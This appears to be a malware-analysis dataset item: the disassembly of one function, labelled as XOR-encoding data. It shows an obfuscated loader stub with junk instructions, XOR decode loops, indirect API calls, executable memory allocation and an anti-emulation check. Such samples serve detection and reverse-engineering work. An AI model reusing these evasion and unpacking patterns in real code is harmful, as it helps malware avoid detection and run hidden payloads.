Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd0c69d71
dec edx
mov edx, 0x4649609f
add ebx, 0x8a0f5f1a
popal
or edx, edx
inc edx
or ebx, ebx
mov ecx, 0
mov edi, edx
or esi, esi
mov ebx, esi
mov eax, edi
sub ebx, 0x646619ae
mov esi, ebx
sub esi, ebx
mov edx, eax
sub ebx, 0x22643887
not esi
sub ebx, 0xc516043a
inc ecx
not ebx
not ebx
cmp ecx, 0x100b23e
jne 0xa789c9
sub ebx, esi
add esi, 0x3d3ac84
or esi, esi
inc edx
not ebx
mov esi, 0xa78796
not ecx
mov ecx, 0x597b0eba
mov ebx, 0x94f04259
mov eax, 0xa7898a
and ecx, ebx
dec edi
not edi
mov edx, dword [esi]
add ecx, ebx
dec edi
and edx, 0xff
and ebx, edi
add ecx, ecx
xor dword [eax], edx
dec ebx
or ebx, ebx
add eax, 1
not ebx
sub edi, ecx
inc esi
mov ecx, ebx
not edi
cmp eax, entry0
jl 0xa78a24
and ecx, edi
sub ebx, 1
add ebx, ebx
sub edi, ebx
sub ecx, 1
add edx, edx
mov esi, 0xa7898e
add edi, 1
not ebx
not edi
mov esi, dword [esi]
and edi, edi
not ecx
add edi, 1
mov esi, dword [esi]
and edx, edi
add edx, 0x89cae1e7
push esi
or ecx, edi
mov ecx, ebx
sub edi, 0x4b82cdc7
mov esi, 0xa7898a
add edx, 1
mov edi, 0x6b3dba89
not edx
mov esi, dword [esi]
mov edx, edi
mov ecx, 0x2546e80e
add ecx, ebx
mov esi, dword [esi]
add edx, edi
and edx, ecx
dec edi
push 0xa78992
or ebx, ebx
add ecx, edx
add ecx, ebx
call esi
and ebx, edx
add ebx, 0x7051aafc
pop esi
add ebx, 0xbb8a01c5
add edx, edi
inc ecx
sub esp, 4
mov dword [esp], 0xa7899f
not ecx
mov edi, 0x9c76c662
add ecx, 0xfea8cbb0
push eax
add ecx, edx
sub edi, 0xf8fff558
call esi
add ebx, 0xa481362e
dec ebx
push 0x40
not ebx
and edx, ecx
sub ebx, edi
push 0x3000
add edi, 1
add edx, ecx
add edx, 0x56f83b7c
push 0x20000278
add ecx, ebx
inc ecx
push 0
and ebx, ebx
sub edi, ecx
not edx
call eax
mov edx, 0xaca8614
mov edi, ecx
add eax, 0x20000209
sub edx, edi
sub edi, 0x83b3cfc6
mov esi, 0xe6955bb3
mov ecx, 0xd4d9a532
sub ebx, 0xf73b8d9a
mov edx, edi
mov dword [eax], esi
mov edi, edx
add edi, edi
sub ebx, ecx
mov esi, dword [eax]
add ebx, 0x80c15288
not ebx
sub ebx, 0x9771eab3
cmp esi, 0xe6955bb3
je 0xa78b84
mov ecx, 0
mov dword [ecx], eax
inc edi
mov edi, 0x10d85fb0
inc edi
sub ecx, 1
or ebx, ebx
sub edx, 0x52c5eed2
dec edx
mov ecx, section..reltc
or ebx, ebx
add ebx, edx
mov edi, 0xa78795
add edx, ebx
and edx, ebx
mov eax, 0
and edx, ebx
sub ebx, 0xab105bb6
add ebx, ebx
mov esi, 0xa78796
or ebx, ebx
dec ebx
add edx, 1
lea esi, [esi + eax]
add edx, ebx
not edx
and ebx, edx
mov esi, dword [esi]
inc edx
add edx, 1
and esi, 0xff
add edx, edx
mov edx, 0xe3b54ba5
inc eax
sub edx, 0x2597faed
not ebx
cmp eax, 0x1f4
jne 0xa78bfe
mov eax, 0
not edx
or edx, edx
mov edx, 0xbeb8c79b
not edx
or ebx, edx
add edx, ebx
xor dword [ecx], esi
mov ebx, 0x7c4826b9
inc edx
sub edx, 0x1bd6cd30
add ecx, 2
dec ebx
or ebx, edx
dec ebx
cmp ecx, edi
jl 0xa78bbb
and edx, edx
inc edx
add edx, 0x8ee316f2
mov ebx, 0x77baa628
dec edx
mov edi, section..reltc
not ecx
and eax, eax
mov esi, section..reltc
not eax
inc ecx
not eax
mov edx, 0xa78795
or eax, eax
or eax, ecx
and eax, eax
mov ebx, 0
or eax, ecx
and eax, eax
mov bl, byte [esi]
dec eax
sub eax, 0x932a0114
sub ecx, eax
mov byte [edi], bl
mov ecx, 0xbf20b995
add eax, 0x9521a341
inc edi
and ecx, eax
sub eax, 0xcae18e23
add esi, 2
sub eax, 0x757ec12
sub eax, 0xeb03ff54
mov eax, ecx
cmp esi, edx
jle 0xa78c63
or ecx, eax
mov eax, ecx
add edx, edx
add ebx, 0xde5e7963
not edx
push 0x8dc6a0
or ebx, ebx
add edx, 0xca08053c
ret